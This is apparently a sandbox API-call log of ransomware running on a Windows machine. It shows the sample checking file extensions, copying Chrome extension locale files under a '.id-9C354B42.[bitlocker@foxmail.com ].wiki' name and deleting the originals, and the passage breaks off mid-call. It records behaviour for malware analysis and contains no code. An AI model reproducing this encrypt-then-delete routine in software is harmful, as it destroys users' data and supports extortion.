[0178.638] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.638] lstrlenW (lpString=".xls") returned 4 [0178.639] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.639] lstrlenW (lpString=".xlsx") returned 5 [0178.639] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.639] lstrlenW (lpString=".ppt") returned 4 [0178.639] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.639] lstrlenW (lpString=".zip") returned 4 [0178.639] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.639] lstrlenW (lpString=".rar") returned 4 [0178.639] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.639] lstrlenW (lpString=".bz2") returned 4 [0178.639] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.639] lstrlenW (lpString=".7z") returned 3 [0178.639] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.639] lstrlenW (lpString=".dbf") returned 4 [0178.639] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.639] lstrlenW (lpString=".1cd") returned 4 [0178.639] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.639] lstrlenW (lpString=".jpg") returned 4 [0178.639] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.639] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.639] lstrlenW (lpString="messages.json") returned 13 [0178.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.640] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=673) returned 1 [0178.640] CloseHandle (hObject=0x1a4) returned 1 [0178.640] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json")) returned 0x2020 [0178.640] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.640] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.641] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.641] GetLastError () returned 0x0 [0178.641] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x2a1, lpOverlapped=0x0) returned 1 [0178.987] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2b0, lpOverlapped=0x0) returned 1 [0178.988] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.988] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.988] SetEndOfFile (hFile=0x2e0) returned 1 [0178.988] CloseHandle (hObject=0x2e0) returned 1 [0178.988] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.988] SetEndOfFile (hFile=0x1a4) returned 1 [0178.989] CloseHandle (hObject=0x1a4) returned 1 [0178.989] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.989] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json")) returned 1 [0178.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.989] lstrlenW (lpString=".doc") returned 4 [0178.990] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.990] lstrlenW (lpString=".docx") returned 5 [0178.990] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.990] lstrlenW (lpString=".pdf") returned 4 [0178.990] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.990] lstrlenW (lpString=".xls") returned 4 [0178.990] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.990] lstrlenW (lpString=".xlsx") returned 5 [0178.990] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.990] lstrlenW (lpString=".ppt") returned 4 [0178.990] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.990] lstrlenW (lpString=".zip") returned 4 [0178.990] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.990] lstrlenW (lpString=".rar") returned 4 [0178.990] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.990] lstrlenW (lpString=".bz2") returned 4 [0178.990] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.990] lstrlenW (lpString=".7z") returned 3 [0178.990] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.990] lstrlenW (lpString=".dbf") returned 4 [0178.990] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.990] lstrlenW (lpString=".1cd") returned 4 [0178.990] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.990] lstrlenW (lpString=".jpg") returned 4 [0178.990] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.991] lstrlenW (lpString=".doc") returned 4 [0178.991] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.991] lstrlenW (lpString=".docx") returned 5 [0178.991] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.991] lstrlenW (lpString=".pdf") returned 4 [0178.991] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.991] lstrlenW (lpString=".xls") returned 4 [0178.991] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.991] lstrlenW (lpString=".xlsx") returned 5 [0178.991] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.991] lstrlenW (lpString=".ppt") returned 4 [0178.991] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.991] lstrlenW (lpString=".zip") returned 4 [0178.991] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.991] lstrlenW (lpString=".rar") returned 4 [0178.991] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.991] lstrlenW (lpString=".bz2") returned 4 [0178.991] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.991] lstrlenW (lpString=".7z") returned 3 [0178.991] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.991] lstrlenW (lpString=".dbf") returned 4 [0178.991] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.991] lstrlenW (lpString=".1cd") returned 4 [0178.991] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 155 [0178.991] lstrlenW (lpString=".jpg") returned 4 [0178.992] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.992] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.992] lstrlenW (lpString="messages.json") returned 13 [0178.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.992] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=666) returned 1 [0178.992] CloseHandle (hObject=0x1a4) returned 1 [0178.992] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json")) returned 0x2020 [0178.993] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.993] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.993] GetLastError () returned 0x0 [0178.993] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x29a, lpOverlapped=0x0) returned 1 [0178.995] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0178.996] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.996] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.996] SetEndOfFile (hFile=0x2e0) returned 1 [0178.996] CloseHandle (hObject=0x2e0) returned 1 [0178.997] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.997] SetEndOfFile (hFile=0x1a4) returned 1 [0178.997] CloseHandle (hObject=0x1a4) returned 1 [0178.997] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.998] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json")) returned 1 [0178.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.998] lstrlenW (lpString=".doc") returned 4 [0178.998] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.998] lstrlenW (lpString=".docx") returned 5 [0178.998] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.998] lstrlenW (lpString=".pdf") returned 4 [0178.998] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.998] lstrlenW (lpString=".xls") returned 4 [0178.998] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.998] lstrlenW (lpString=".xlsx") returned 5 [0178.998] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.998] lstrlenW (lpString=".ppt") returned 4 [0178.998] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.998] lstrlenW (lpString=".zip") returned 4 [0178.998] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.998] lstrlenW (lpString=".rar") returned 4 [0178.998] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.998] lstrlenW (lpString=".bz2") returned 4 [0178.998] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.999] lstrlenW (lpString=".7z") returned 3 [0178.999] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.999] lstrlenW (lpString=".dbf") returned 4 [0178.999] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.999] lstrlenW (lpString=".1cd") returned 4 [0178.999] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.999] lstrlenW (lpString=".jpg") returned 4 [0178.999] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.999] lstrlenW (lpString=".doc") returned 4 [0178.999] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.999] lstrlenW (lpString=".docx") returned 5 [0178.999] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.999] lstrlenW (lpString=".pdf") returned 4 [0178.999] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.999] lstrlenW (lpString=".xls") returned 4 [0178.999] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.999] lstrlenW (lpString=".xlsx") returned 5 [0178.999] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.999] lstrlenW (lpString=".ppt") returned 4 [0178.999] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0178.999] lstrlenW (lpString=".zip") returned 4 [0178.999] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.000] lstrlenW (lpString=".rar") returned 4 [0179.000] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.000] lstrlenW (lpString=".bz2") returned 4 [0179.000] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.000] lstrlenW (lpString=".7z") returned 3 [0179.000] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0179.000] lstrlenW (lpString=".dbf") returned 4 [0179.000] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0179.000] lstrlenW (lpString=".1cd") returned 4 [0179.000] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 155 [0179.000] lstrlenW (lpString=".jpg") returned 4 [0179.000] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.000] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.000] lstrlenW (lpString="messages.json") returned 13 [0179.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.001] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=667) returned 1 [0179.001] CloseHandle (hObject=0x1a4) returned 1 [0179.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0179.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS 